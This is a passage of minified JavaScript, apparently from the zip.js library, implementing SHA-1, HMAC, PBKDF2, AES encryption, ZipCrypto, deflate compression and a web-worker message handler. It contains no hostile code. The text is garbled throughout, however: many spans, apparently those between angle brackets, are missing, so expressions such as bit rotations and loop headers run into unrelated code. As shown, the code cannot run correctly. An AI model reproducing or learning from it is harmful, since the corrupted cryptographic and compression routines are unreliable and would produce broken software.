e=t.blockSize+r-(t.blockSize+r&t.blockSize-1);i>=e;e+=t.blockSize)t.I(o.subarray(16*f,16*(f+1))),f+=1;return n.splice(0,16*f),t}P(){const e=this;let t=e.C;const n=e.S;t=_.concat(t,[_.h(1,1)]);for(let e=t.length+2;15&e;e++)t.push(0);for(t.push(r.floor(e.A/4294967296)),t.push(0|e.A);t.length;)e.I(t.splice(0,16));return e.reset(),n}D(e,t,n,r){return e>19?e>39?e>59?e>79?void 0:t^n^r:t&n|t&r|n&r:t^n^r:t&n|~t&r}V(e,t){return t<>>32-e}I(t){const n=this,s=n.S,i=e(80);for(let e=0;16>e;e++)i[e]=t[e];let o=s[0],c=s[1],f=s[2],a=s[3],l=s[4];for(let e=0;79>=e;e++){16>e||(i[e]=n.V(1,i[e-3]^i[e-8]^i[e-14]^i[e-16]));const t=n.V(5,o)+n.D(e,c,f,a)+l+i[e]+n.v[r.floor(e/20)]|0;l=a,a=f,f=n.V(30,c),c=o,o=t}s[0]=s[0]+o|0,s[1]=s[1]+c|0,s[2]=s[2]+f|0,s[3]=s[3]+a|0,s[4]=s[4]+l|0}},D={getRandomValues(e){const t=new c(e.buffer),n=e=>{let t=987654321;const n=4294967295;return()=>(t=36969*(65535&t)+(t>>16)&n,(((t<<16)+(e=18e3*(65535&e)+(e>>16)&n)&n)/4294967296+.5)*(r.random()>.5?1:-1))};for(let s,i=0;inew V.R(I.p.g(e)),B(e,t,n,r){if(n=n||1e4,0>r||0>n)throw new s("invalid params to pbkdf2");const i=1+(r>>5)<<2;let o,c,f,a,u;const w=new ArrayBuffer(i),h=new l(w);let d=0;const p=_;for(t=I.p.g(t),u=1;(i||1)>d;u++){for(o=c=e.encrypt(p.concat(t,[u])),f=1;n>f;f++)for(c=e.encrypt(c),a=0;ad&&fs&&(e=(new n).update(e).P());for(let t=0;s>t;t++)r[0][t]=909522486^e[t],r[1][t]=1549556828^e[t];t.U[0].update(r[0]),t.U[1].update(r[1]),t.K=new n(t.U[0])}reset(){const e=this;e.K=new e.M(e.U[0]),e.N=!1}update(e){this.N=!0,this.K.update(e)}digest(){const e=this,t=e.K.P(),n=new e.M(e.U[1]).update(t).P();return e.reset(),n}encrypt(e){if(this.N)throw new s("encrypt on already updated hmac called!");return this.update(e),this.digest(e)}}},R=typeof h!=v&&typeof h.getRandomValues==S,B="Invalid password",E="Invalid signature",M="zipjs-abort-check-password";function U(e){return R?h.getRandomValues(e):D.getRandomValues(e)}const K=16,N={name:"PBKDF2"},O=t.assign({hash:{name:"HMAC"}},N),T=t.assign({iterations:1e3,hash:{name:"SHA-1"}},N),W=["deriveBits"],j=[8,12,16],H=[16,24,32],L=10,F=[0,0,0,0],q=typeof h!=v,G=q&&h.subtle,J=q&&typeof G!=v,Q=I.p,X=class{constructor(e){const t=this;t.O=[[[],[],[],[],[]],[[],[],[],[],[]]],t.O[0][0][0]||t.T();const n=t.O[0][4],r=t.O[1],i=e.length;let o,c,f,a=1;if(4!==i&&6!==i&&8!==i)throw new s("invalid aes key size");for(t.v=[c=e.slice(0),f=[]],o=i;4*i+28>o;o++){let e=c[o-1];(o%i==0||8===i&&o%i==4)&&(e=n[e>>>24]<<24^n[e>>16&255]<<16^n[e>>8&255]<<8^n[255&e],o%i==0&&(e=e<<8^e>>>24^a<<24,a=a<<1^283*(a>>7))),c[o]=c[o-i]^e}for(let e=0;o;e++,o--){const t=c[3&e?o:o-4];f[e]=4>=o||4>e?t:r[0][n[t>>>24]]^r[1][n[t>>16&255]]^r[2][n[t>>8&255]]^r[3][n[255&t]]}}encrypt(e){return this.W(e,0)}decrypt(e){return this.W(e,1)}T(){const e=this.O[0],t=this.O[1],n=e[4],r=t[4],s=[],i=[];let o,c,f,a;for(let e=0;256>e;e++)i[(s[e]=e<<1^283*(e>>7))^e]=e;for(let l=o=0;!n[l];l^=c||1,o=i[o]||1){let i=o^o<<1^o<<2^o<<3^o<<4;i=i>>8^255&i^99,n[l]=i,r[i]=l,a=s[f=s[c=s[l]]];let u=16843009*a^65537*f^257*c^16843008*l,w=257*s[i]^16843008*i;for(let n=0;4>n;n++)e[n][l]=w=w<<24^w>>>8,t[n][i]=u=u<<24^u>>>8}for(let n=0;5>n;n++)e[n]=e[n].slice(0),t[n]=t[n].slice(0)}W(e,t){if(4!==e.length)throw new s("invalid aes block size");const n=this.v[t],r=n.length/4-2,i=[0,0,0,0],o=this.O[t],c=o[0],f=o[1],a=o[2],l=o[3],u=o[4];let w,h,d,p=e[0]^n[0],y=e[t?3:1]^n[1],m=e[2]^n[2],b=e[t?1:3]^n[3],g=4;for(let e=0;r>e;e++)w=c[p>>>24]^f[y>>16&255]^a[m>>8&255]^l[255&b]^n[g],h=c[y>>>24]^f[m>>16&255]^a[b>>8&255]^l[255&p]^n[g+1],d=c[m>>>24]^f[b>>16&255]^a[p>>8&255]^l[255&y]^n[g+2],b=c[b>>>24]^f[p>>16&255]^a[y>>8&255]^l[255&m]^n[g+3],g+=4,p=w,y=h,m=d;for(let e=0;4>e;e++)i[t?3&-e:e]=u[p>>>24]<<24^u[y>>16&255]<<16^u[m>>8&255]<<8^u[255&b]^n[g++],w=p,p=y,y=m,m=b,b=w;return i}},Y=class{constructor(e,t){this.j=e,this.H=t,this.L=t}reset(){this.L=this.H}update(e){return this.F(this.j,e,this.L)}q(e){if(255==(e>>24&255)){let t=e>>16&255,n=e>>8&255,r=255&e;255===t?(t=0,255===n?(n=0,255===r?r=0:++r):++n):++t,e=0,e+=t<<16,e+=n<<8,e+=r}else e+=1<<24;return e}G(e){0===(e[0]=this.q(e[0]))&&(e[1]=this.q(e[1]))}F(e,t,n){let r;if(!(r=t.length))return[];const s=_.l(t);for(let s=0;r>s;s+=4){this.G(n);const r=e.encrypt(n);t[s]^=r[0],t[s+1]^=r[1],t[s+2]^=r[2],t[s+3]^=r[3]}return _.u(t,s)}},Z=V.R;let $=q&&J&&typeof G.importKey==S,ee=q&&J&&typeof G.deriveBits==S;class te extends p{constructor({password:e,rawPassword:n,signed:r,encryptionStrength:o,checkPasswordOnly:c}){super({start(){t.assign(this,{ready:new u((e=>this.J=e)),password:ie(e,n),signed:r,X:o-1,pending:new i})},async transform(e,t){const n=this,{password:r,X:o,J:f,ready:a}=n;r?(await(async(e,t,n,r)=>{const i=await se(e,t,n,ce(r,0,j[t])),o=ce(r,j[t]);if(i[0]!=o[0]||i[1]!=o[1])throw new s(B)})(n,o,r,ce(e,0,j[o]+2)),e=ce(e,j[o]+2),c?t.error(new s(M)):f()):await a;const l=new i(e.length-L-(e.length-L)%K);t.enqueue(re(n,e,l,0,L,!0))},async flush(e){const{signed:t,Y:n,Z:r,pending:o,ready:c}=this;if(r&&n){await c;const f=ce(o,0,o.length-L),a=ce(o,o.length-L);let l=new i;if(f.length){const e=ae(Q,f);r.update(e);const t=n.update(e);l=fe(Q,t)}if(t){const e=ce(fe(Q,r.digest()),0,L);for(let t=0;L>t;t++)if(e[t]!=a[t])throw new s(E)}e.enqueue(l)}}})}}class ne extends p{constructor({password:e,rawPassword:n,encryptionStrength:r}){let s;super({start(){t.assign(this,{ready:new u((e=>this.J=e)),password:ie(e,n),X:r-1,pending:new i})},async transform(e,t){const n=this,{password:r,X:s,J:o,ready:c}=n;let f=new i;r?(f=await(async(e,t,n)=>{const r=U(new i(j[t]));return oe(r,await se(e,t,n,r))})(n,s,r),o()):await c;const a=new i(f.length+e.length-e.length%K);a.set(f,0),t.enqueue(re(n,e,a,f.length,0))},async flush(e){const{Y:t,Z:n,pending:r,ready:o}=this;if(n&&t){await o;let c=new i;if(r.length){const e=t.update(ae(Q,r));n.update(e),c=fe(Q,e)}s.signature=fe(Q,n.digest()).slice(0,L),e.enqueue(oe(c,s.signature))}}}),s=this}}function re(e,t,n,r,s,o){const{Y:c,Z:f,pending:a}=e,l=t.length-s;let u;for(a.length&&(t=oe(a,t),n=((e,t)=>{if(t&&t>e.length){const n=e;(e=new i(t)).set(n,0)}return e})(n,l-l%K)),u=0;l-K>=u;u+=K){const e=ae(Q,ce(t,u,u+K));o&&f.update(e);const s=c.update(e);o||f.update(s),n.set(fe(Q,s),u+r)}return e.pending=ce(t,u),n}async function se(n,r,s,o){n.password=null;const c=await(async(e,t,n,r,s)=>{if(!$)return V.importKey(t);try{return await G.importKey("raw",t,n,!1,s)}catch(e){return $=!1,V.importKey(t)}})(0,s,O,0,W),f=await(async(e,t,n)=>{if(!ee)return V.B(t,e.salt,T.iterations,n);try{return await G.deriveBits(e,t,n)}catch(r){return ee=!1,V.B(t,e.salt,T.iterations,n)}})(t.assign({salt:o},T),c,8*(2*H[r]+2)),a=new i(f),l=ae(Q,ce(a,0,H[r])),u=ae(Q,ce(a,H[r],2*H[r])),w=ce(a,2*H[r]);return t.assign(n,{keys:{key:l,$:u,passwordVerification:w},Y:new Y(new X(l),e.from(F)),Z:new Z(u)}),w}function ie(e,t){return t===k?(e=>{if(typeof w==v){const t=new i((e=unescape(encodeURIComponent(e))).length);for(let n=0;n>>24]),i=~e.te.get(),e.keys=[n,s,i]}function ye(e){const t=2|e.keys[2];return me(r.imul(t,1^t)>>>8)}function me(e){return 255&e}function be(e){return 4294967295&e}const ge="deflate-raw";class ke extends p{constructor(e,{chunkSize:t,CompressionStream:n,CompressionStreamNative:r}){super({});const{compressed:s,encrypted:i,useCompressionStream:o,zipCrypto:c,signed:f,level:a}=e,u=this;let w,h,d=Se(super.readable);i&&!c||!f||(w=new A,d=xe(d,w)),s&&(d=Ce(d,o,{level:a,chunkSize:t},r,n)),i&&(c?d=xe(d,new ue(e)):(h=new ne(e),d=xe(d,h))),ze(u,d,(()=>{let e;i&&!c&&(e=h.signature),i&&!c||!f||(e=new l(w.value.buffer).getUint32(0)),u.signature=e}))}}class ve extends p{constructor(e,{chunkSize:t,DecompressionStream:n,DecompressionStreamNative:r}){super({});const{zipCrypto:i,encrypted:o,signed:c,signature:f,compressed:a,useCompressionStream:u}=e;let w,h,d=Se(super.readable);o&&(i?d=xe(d,new le(e)):(h=new te(e),d=xe(d,h))),a&&(d=Ce(d,u,{chunkSize:t},r,n)),o&&!i||!c||(w=new A,d=xe(d,w)),ze(this,d,(()=>{if((!o||i)&&c){const e=new l(w.value.buffer);if(f!=e.getUint32(0,!1))throw new s(E)}}))}}function Se(e){return xe(e,new p({transform(e,t){e&&e.length&&t.enqueue(e)}}))}function ze(e,n,r){n=xe(n,new p({flush:r})),t.defineProperty(e,"readable",{get:()=>n})}function Ce(e,t,n,r,s){try{e=xe(e,new(t&&r?r:s)(ge,n))}catch(r){if(!t)return e;try{e=xe(e,new s(ge,n))}catch(t){return e}}return e}function xe(e,t){return e.pipeThrough(t)}const Ae="data",_e="close";class Ie extends p{constructor(e,n){super({});const r=this,{codecType:s}=e;let i;s.startsWith("deflate")?i=ke:s.startsWith("inflate")&&(i=ve);let o=0,c=0;const f=new i(e,n),a=super.readable,l=new p({transform(e,t){e&&e.length&&(c+=e.length,t.enqueue(e))},flush(){t.assign(r,{inputSize:c})}}),u=new p({transform(e,t){e&&e.length&&(o+=e.length,t.enqueue(e))},flush(){const{signature:e}=f;t.assign(r,{signature:e,outputSize:o,inputSize:c})}});t.defineProperty(r,"readable",{get:()=>a.pipeThrough(l).pipeThrough(f).pipeThrough(u)})}}class Pe extends p{constructor(e){let t;super({transform:function n(r,s){if(t){const e=new i(t.length+r.length);e.set(t),e.set(r,t.length),r=e,t=null}r.length>e?(s.enqueue(r.slice(0,e)),n(r.slice(e),s)):t=r},flush(e){t&&t.length&&e.enqueue(t)}})}}const De=new a,Ve=new a;let Re,Be=0,Ee=!0;async function Me(e){try{const{options:t,scripts:r,config:s}=e;if(r&&r.length)try{Ee?importScripts.apply(k,r):await Ue(r)}catch(e){Ee=!1,await Ue(r)}self.initCodec&&self.initCodec(),s.CompressionStreamNative=self.CompressionStream,s.DecompressionStreamNative=self.DecompressionStream,self.Deflate&&(s.CompressionStream=new z(self.Deflate)),self.Inflate&&(s.DecompressionStream=new z(self.Inflate));const i={highWaterMark:1},o=e.readable||new y({async pull(e){const t=new u((e=>De.set(Be,e)));Ke({type:"pull",messageId:Be}),Be=(Be+1)%n.MAX_SAFE_INTEGER;const{value:r,done:s}=await t;e.enqueue(r),s&&e.close()}},i),c=e.writable||new m({async write(e){let t;const r=new u((e=>t=e));Ve.set(Be,t),Ke({type:Ae,value:e,messageId:Be}),Be=(Be+1)%n.MAX_SAFE_INTEGER,await r}},i),f=new Ie(t,s);Re=new AbortController;const{signal:a}=Re;await o.pipeThrough(f).pipeThrough(new Pe(s.chunkSize)).pipeTo(c,{signal:a,preventClose:!0,preventAbort:!0}),await c.getWriter().close();const{signature:l,inputSize:w,outputSize:h}=f;Ke({type:_e,result:{signature:l,inputSize:w,outputSize:h}})}catch(e){Ne(e)}}async function Ue(e){for(const t of e)await import(t)}function Ke(e){let{value:t}=e;if(t)if(t.length)try{t=new i(t),e.value=t.buffer,d(e,[e.value])}catch(t){d(e)}else d(e);else d(e)}function Ne(e=new s("Unknown error")){const{message:t,stack:n,code:r,name:i}=e;d({error:{message:t,stack:n,code:r,name:i}})}addEventListener("message",(({data:e})=>{const{type:t,messageId:n,value:r,done:s}=e;try{if("start"==t&&Me(e),t==Ae){const e=De.get(n);De.delete(n),e({value:new i(r),done:s})}if("ack"==t){const e=Ve.get(n);Ve.delete(n),e()}t==_e&&Re.abort()}catch(e){Ne(e)}}));const Oe=-2;function Te(t){return We(t.map((([t,n])=>new e(t).fill(n,0,t))))}function We(t){return t.reduce(((t,n)=>t.concat(e.isArray(n)?We(n):n)),[])}const je=[0,1,2,3].concat(...Te([[2,4],[2,5],[4,6],[4,7],[8,8],[8,9],[16,10],[16,11],[32,12],[32,13],[64,14],[64,15],[2,0],[1,16],[1,17],[2,18],[2,19],[4,20],[4,21],[8,22],[8,23],[16,24],[16,25],[32,26],[32,27],[64,28],[64,29]]));function He(){const e=this;function t(e,t){let n=0;do{n|=1&e,e>>>=1,n<<=1}while(--t>0);return n>>>1}e.ne=n=>{const s=e.re,i=e.ie.se,o=e.ie.oe;let c,f,a,l=-1;for(n.ce=0,n.fe=573,c=0;o>c;c++)0!==s[2*c]?(n.ae[++n.ce]=l=c,n.le[c]=0):s[2*c+1]=0;for(;2>n.ce;)a=n.ae[++n.ce]=2>l?++l:0,s[2*a]=1,n.le[a]=0,n.ue--,i&&(n.we-=i[2*a+1]);for(e.he=l,c=r.floor(n.ce/2);c>=1;c--)n.de(s,c);a=o;do{c=n.ae[1],n.ae[1]=n.ae[n.ce--],n.de(s,1),f=n.ae[1],n.ae[--n.fe]=c,n.ae[--n.fe]=f,s[2*a]=s[2*c]+s[2*f],n.le[a]=r.max(n.le[c],n.le[f])+1,s[2*c+1]=s[2*f+1]=a,n.ae[1]=a++,n.de(s,1)}while(n.ce>=2);n.ae[--n.fe]=n.ae[1],(t=>{const n=e.re,r=e.ie.se,s=e.ie.pe,i=e.ie.ye,o=e.ie.me;let c,f,a,l,u,w,h=0;for(l=0;15>=l;l++)t.be[l]=0;for(n[2*t.ae[t.fe]+1]=0,c=t.fe+1;573>c;c++)f=t.ae[c],l=n[2*n[2*f+1]+1]+1,l>o&&(l=o,h++),n[2*f+1]=l,f>e.he||(t.be[l]++,u=0,i>f||(u=s[f-i]),w=n[2*f],t.ue+=w*(l+u),r&&(t.we+=w*(r[2*f+1]+u)));if(0!==h){do{for(l=o-1;0===t.be[l];)l--;t.be[l]--,t.be[l+1]+=2,t.be[o]--,h-=2}while(h>0);for(l=o;0!==l;l--)for(f=t.be[l];0!==f;)a=t.ae[--c],a>e.he||(n[2*a+1]!=l&&(t.ue+=(l-n[2*a+1])*n[2*a],n[2*a+1]=l),f--)}})(n),((e,n,r)=>{const s=[];let i,o,c,f=0;for(i=1;15>=i;i++)s[i]=f=f+r[i-1]<<1;for(o=0;n>=o;o++)c=e[2*o+1],0!==c&&(e[2*o]=t(s[c]++,c))})(s,e.he,n.be)}}function Le(e,t,n,r,s){const i=this;i.se=e,i.pe=t,i.ye=n,i.oe=r,i.me=s}He.ge=[0,1,2,3,4,5,6,7].concat(...Te([[2,8],[2,9],[2,10],[2,11],[4,12],[4,13],[4,14],[4,15],[8,16],[8,17],[8,18],[8,19],[16,20],[16,21],[16,22],[16,23],[32,24],[32,25],[32,26],[31,27],[1,28]])),He.ke=[0,1,2,3,4,5,6,7,8,10,12,14,16,20,24,28,32,40,48,56,64,80,96,112,128,160,192,224,0],He.ve=[0,1,2,3,4,6,8,12,16,24,32,48,64,96,128,192,256,384,512,768,1024,1536,2048,3072,4096,6144,8192,12288,16384,24576],He.Se=e=>256>e?je[e]:je[256+(e>>>7)],He.ze=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0],He.Ce=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13],He.xe=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7],He.Ae=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];const Fe=Te([[144,8],[112,9],[24,7],[8,8]]);Le._e=We([12,140,76,204,44,172,108,236,28,156,92,220,60,188,124,252,2,130,66,194,34,162,98,226,18,146,82,210,50,178,114,242,10,138,74,202,42,170,106,234,26,154,90,218,58,186,122,250,6,134,70,198,38,166,102,230,22,150,86,214,54,182,118,246,14,142,78,206,46,174,110,238,30,158,94,222,62,190,126,254,1,129,65,193,33,161,97,225,17,145,81,209,49,177,113,241,9,137,73,201,41,169,105,233,25,153,89,217,57,185,121,249,5,133,69,197,37,165,101,229,21,149,85,213,53,181,117,245,13,141,77,205,45,173,109,237,29,157,93,221,61,189,125,253,19,275,147,403,83,339,211,467,51,307,179,435,115,371,243,499,11,267,139,395,75,331,203,459,43,299,171,427,107,363,235,491,27,283,155,411,91,347,219,475,59,315,187,443,123,379,251,507,7,263,135,391,71,327,199,455,39,295,167,423,103,359,231,487,23,279,151,407,87,343,215,471,55,311,183,439,119,375,247,503,15,271,143,399,79,335,207,463,47,303,175,431,111,367,239,495,31,287,159,415,95,351,223,479,63,319,191,447,127,383,255,511,0,64,32,96,16,80,48,112,8,72,40,104,24,88,56,120,4,68,36,100,20,84,52,116,3,131,67,195,35,163,99,227].map(((e,t)=>[e,Fe[t]])));const qe=Te([[30,5]]);function Ge(e,t,n,r,s){const i=this;i.Ie=e,i.Pe=t,i.De=n,i.Ve=r,i.Re=s}Le.Be=We([0,16,8,24,4,20,12,28,2,18,10,26,6,22,14,30,1,17,9,25,5,21,13,29,3,19,11,27,7,23].map(((e,t)=>[e,qe[t]]))),Le.Ee=new Le(Le._e,He.ze,257,286,15),Le.Me=new Le(Le.Be,He.Ce,0,30,15),Le.Ue=new Le(null,He.xe,0,19,7);const Je=[new Ge(0,0,0,0,0),new Ge(4,4,8,4,1),new Ge(4,5,16,8,1),new Ge(4,6,32,32,1),new Ge(4,4,16,16,2),new Ge(8,16,32,32,2),new Ge(8,16,128,128,2),new Ge(8,32,128,256,2),new Ge(32,128,258,1024,2),new Ge(32,258,258,4096,2)],Qe=["need dictionary","stream end","","","stream error","data error","","buffer error","",""],Xe=113,Ye=666,Ze=262;function $e(e,t,n,r){const s=e[2*t],i=e[2*n];return i>s||s==i&&r[t]<=r[n]}function et(){const e=this;let t,n,s,c,f,a,l,u,w,h,d,p,y,m,b,g,k,v,S,z,C,x,A,_,I,P,D,V,R,B,E,M,U;const K=new He,N=new He,O=new He;let T,W,j,H,L,F;function q(){let t;for(t=0;286>t;t++)E[2*t]=0;for(t=0;30>t;t++)M[2*t]=0;for(t=0;19>t;t++)U[2*t]=0;E[512]=1,e.ue=e.we=0,W=j=0}function G(e,t){let n,r=-1,s=e[1],i=0,o=7,c=4;0===s&&(o=138,c=3),e[2*(t+1)+1]=65535;for(let f=0;t>=f;f++)n=s,s=e[2*(f+1)+1],++ii?U[2*n]+=i:0!==n?(n!=r&&U[2*n]++,U[32]++):i>10?U[36]++:U[34]++,i=0,r=n,0===s?(o=138,c=3):n==s?(o=6,c=3):(o=7,c=4))}function J(t){e.Ke[e.pending++]=t}function Q(e){J(255&e),J(e>>>8&255)}function X(e,t){let n;const r=t;F>16-r?(n=e,L|=n<>>16-F,F+=r-16):(L|=e<=n;n++)if(r=i,i=e[2*(n+1)+1],++o>=c||r!=i){if(f>o)do{Y(r,U)}while(0!=--o);else 0!==r?(r!=s&&(Y(r,U),o--),Y(16,U),X(o-3,2)):o>10?(Y(18,U),X(o-11,7)):(Y(17,U),X(o-3,3));o=0,s=r,0===i?(c=138,f=3):r==i?(c=6,f=3):(c=7,f=4)}}function $(){16==F?(Q(L),L=0,F=0):8>F||(J(255&L),L>>>=8,F-=8)}function ee(t,n){let s,i,o;if(e.Ne[W]=t,e.Oe[W]=255&n,W++,0===t?E[2*n]++:(j++,t--,E[2*(He.ge[n]+256+1)]++,M[2*He.Se(t)]++),0==(8191&W)&&D>2){for(s=8*W,i=C-k,o=0;30>o;o++)s+=M[2*o]*(5+He.Ce[o]);if(s>>>=3,jc);Y(256,t),H=t[513]}function ne(){F>8?Q(L):F>0&&J(255&L),L=0,F=0}function re(t,n,r){X(0+(r?1:0),3),((t,n)=>{ne(),H=8,Q(n),Q(~n),e.Ke.set(u.subarray(t,t+n),e.pending),e.pending+=n})(t,n)}function se(n){((t,n,r)=>{let s,i,o=0;D>0?(K.ne(e),N.ne(e),o=(()=>{let t;for(G(E,K.he),G(M,N.he),O.ne(e),t=18;t>=3&&0===U[2*He.Ae[t]+1];t--);return e.ue+=14+3*(t+1),t})(),s=e.ue+3+7>>>3,i=e.we+3+7>>>3,i>s||(s=i)):s=i=n+5,n+4>s||-1==t?i==s?(X(2+(r?1:0),3),te(Le._e,Le.Be)):(X(4+(r?1:0),3),((e,t,n)=>{let r;for(X(e-257,5),X(t-1,5),X(n-4,4),r=0;n>r;r++)X(U[2*He.Ae[r]+1],3);Z(E,e-1),Z(M,t-1)})(K.he+1,N.he+1,o+1),te(E,M)):re(t,n,r),q(),r&&ne()})(0>k?-1:k,C-k,n),k=C,t.Te()}function ie(){let e,n,r,s;do{if(s=w-A-C,0===s&&0===C&&0===A)s=f;else if(-1==s)s--;else if(C>=f+f-Ze){u.set(u.subarray(f,f+f),0),x-=f,C-=f,k-=f,e=y,r=e;do{n=65535&d[--r],d[r]=f>n?0:n-f}while(0!=--e);e=f,r=e;do{n=65535&h[--r],h[r]=f>n?0:n-f}while(0!=--e);s+=f}if(0===t.We)return;e=t.je(u,C+A,s),A+=e,3>A||(p=255&u[C],p=(p<A&&0!==t.We)}function oe(e){let t,n,r=I,s=C,i=_;const o=C>f-Ze?C-(f-Ze):0;let c=B;const a=l,w=C+258;let d=u[s+i-1],p=u[s+i];R>_||(r>>=2),c>A&&(c=A);do{if(t=e,u[t+i]==p&&u[t+i-1]==d&&u[t]==u[s]&&u[++t]==u[s+1]){s+=2,t++;do{}while(u[++s]==u[++t]&&u[++s]==u[++t]&&u[++s]==u[++t]&&u[++s]==u[++t]&&u[++s]==u[++t]&&u[++s]==u[++t]&&u[++s]==u[++t]&&u[++s]==u[++t]&&w>s);if(n=258-(w-s),s=w-258,n>i){if(x=e,i=n,n>=c)break;d=u[s+i-1],p=u[s+i]}}}while((e=65535&h[e&a])>o&&0!=--r);return i>A?A:i}e.le=[],e.be=[],e.ae=[],E=[],M=[],U=[],e.de=(t,n)=>{const r=e.ae,s=r[n];let i=n<<1;for(;i<=e.ce&&(i(W||(W=8),j||(j=8),G||(G=0),t.Le=null,-1==S&&(S=6),1>j||j>9||8!=W||9>x||x>15||0>S||S>9||0>G||G>2?Oe:(t.Fe=e,a=x,f=1<(t.qe=t.Ge=0,t.Le=null,e.pending=0,e.Je=0,n=Xe,c=0,K.re=E,K.ie=Le.Ee,N.re=M,N.ie=Le.Me,O.re=U,O.ie=Le.Ue,L=0,F=0,H=8,q(),(()=>{w=2*f,d[y-1]=0;for(let e=0;y-1>e;e++)d[e]=0;P=Je[D].Pe,R=Je[D].Ie,B=Je[D].De,I=Je[D].Ve,C=0,k=0,A=0,v=_=2,z=0,p=0})(),0))(t))),e.Qe=()=>42!=n&&n!=Xe&&n!=Ye?Oe:(e.Oe=null,e.Ne=null,e.Ke=null,d=null,h=null,u=null,e.Fe=null,n==Xe?-3:0),e.Xe=(e,t,n)=>{let r=0;return-1==t&&(t=6),0>t||t>9||0>n||n>2?Oe:(Je[D].Re!=Je[t].Re&&0!==e.qe&&(r=e.Ye(1)),D!=t&&(D=t,P=Je[D].Pe,R=Je[D].Ie,B=Je[D].De,I=Je[D].Ve),V=n,r)},e.Ze=(e,t,r)=>{let s,i=r,o=0;if(!t||42!=n)return Oe;if(3>i)return 0;for(i>f-Ze&&(i=f-Ze,o=r-i),u.set(t.subarray(o,o+i),0),C=i,k=i,p=255&u[0],p=(p<=s;s++)p=(p<{let o,w,m,I,R;if(i>4||0>i)return Oe;if(!r.$e||!r.et&&0!==r.We||n==Ye&&4!=i)return r.Le=Qe[4],Oe;if(0===r.tt)return r.Le=Qe[7],-5;var B;if(t=r,I=c,c=i,42==n&&(w=8+(a-8<<4)<<8,m=(D-1&255)>>1,m>3&&(m=3),w|=m<<6,0!==C&&(w|=32),w+=31-w%31,n=Xe,J((B=w)>>8&255),J(255&B)),0!==e.pending){if(t.Te(),0===t.tt)return c=-1,0}else if(0===t.We&&I>=i&&4!=i)return t.Le=Qe[7],-5;if(n==Ye&&0!==t.We)return r.Le=Qe[7],-5;if(0!==t.We||0!==A||0!=i&&n!=Ye){switch(R=-1,Je[D].Re){case 0:R=(e=>{let n,r=65535;for(r>s-5&&(r=s-5);;){if(1>=A){if(ie(),0===A&&0==e)return 0;if(0===A)break}if(C+=A,A=0,n=k+r,(0===C||C>=n)&&(A=C-n,C=n,se(!1),0===t.tt))return 0;if(C-k>=f-Ze&&(se(!1),0===t.tt))return 0}return se(4==e),0===t.tt?4==e?2:0:4==e?3:1})(i);break;case 1:R=(e=>{let n,r=0;for(;;){if(Ze>A){if(ie(),Ze>A&&0==e)return 0;if(0===A)break}if(3>A||(p=(p<f-Ze||2!=V&&(v=oe(r)),3>v)n=ee(0,255&u[C]),A--,C++;else if(n=ee(C-x,v-3),A-=v,v>P||3>A)C+=v,v=0,p=255&u[C],p=(p<{let n,r,s=0;for(;;){if(Ze>A){if(ie(),Ze>A&&0==e)return 0;if(0===A)break}if(3>A||(p=(p<_&&f-Ze>=(C-s&65535)&&(2!=V&&(v=oe(s)),5>=v&&(1==V||3==v&&C-x>4096)&&(v=2)),3>_||v>_)if(0!==z){if(n=ee(0,255&u[C-1]),n&&se(!1),C++,A--,0===t.tt)return 0}else z=1,C++,A--;else{r=C+A-3,n=ee(C-1-S,_-3),A-=_-1,_-=2;do{++C>r||(p=(p<1+H+10-F&&(X(2,3),Y(256,Le._e),$()),H=7;else if(re(0,0,!1),3==i)for(o=0;y>o;o++)d[o]=0;if(t.Te(),0===t.tt)return c=-1,0}}return 4!=i?0:1}}function tt(){const e=this;e.nt=0,e.rt=0,e.We=0,e.qe=0,e.tt=0,e.Ge=0}function nt(e){const t=new tt,n=(o=e&&e.chunkSize?e.chunkSize:65536)+5*(r.floor(o/16383)+1);var o;const c=new i(n);let f=e?e.level:-1;void 0===f&&(f=-1),t.He(f),t.$e=c,this.append=(e,r)=>{let o,f,a=0,l=0,u=0;const w=[];if(e.length){t.nt=0,t.et=e,t.We=e.length;do{if(t.rt=0,t.tt=n,o=t.Ye(0),0!=o)throw new s("deflating: "+t.Le);t.rt&&(t.rt==n?w.push(new i(c)):w.push(c.subarray(0,t.rt))),u+=t.rt,r&&t.nt>0&&t.nt!=a&&(r(t.nt),a=t.nt)}while(t.We>0||0===t.tt);return w.length>1?(f=new i(u),w.forEach((e=>{f.set(e,l),l+=e.length}))):f=w[0]?new i(w[0]):new i,f}},this.flush=()=>{let e,r,o=0,f=0;const a=[];do{if(t.rt=0,t.tt=n,e=t.Ye(4),1!=e&&0!=e)throw new s("deflating: "+t.Le);n-t.tt>0&&a.push(c.slice(0,t.rt)),f+=t.rt}while(t.We>0||0===t.tt);return t.Qe(),r=new i(f),a.forEach((e=>{r.set(e,o),o+=e.length})),r}}tt.prototype={He(e,t){const n=this;return n.Fe=new et,t||(t=15),n.Fe.He(n,e,t)},Ye(e){const t=this;return t.Fe?t.Fe.Ye(t,e):Oe},Qe(){const e=this;if(!e.Fe)return Oe;const t=e.Fe.Qe();return e.Fe=null,t},Xe(e,t){const n=this;return n.Fe?n.Fe.Xe(n,e,t):Oe},Ze(e,t){const n=this;return n.Fe?n.Fe.Ze(n,e,t):Oe},je(e,t,n){const r=this;let s=r.We;return s>n&&(s=n),0===s?0:(r.We-=s,e.set(r.et.subarray(r.nt,r.nt+s),t),r.nt+=s,r.qe+=s,s)},Te(){const e=this;let t=e.Fe.pending;t>e.tt&&(t=e.tt),0!==t&&(e.$e.set(e.Fe.Ke.subarray(e.Fe.Je,e.Fe.Je+t),e.rt),e.rt+=t,e.Fe.Je+=t,e.Ge+=t,e.tt-=t,e.Fe.pending-=t,0===e.Fe.pending&&(e.Fe.Je=0))}};const 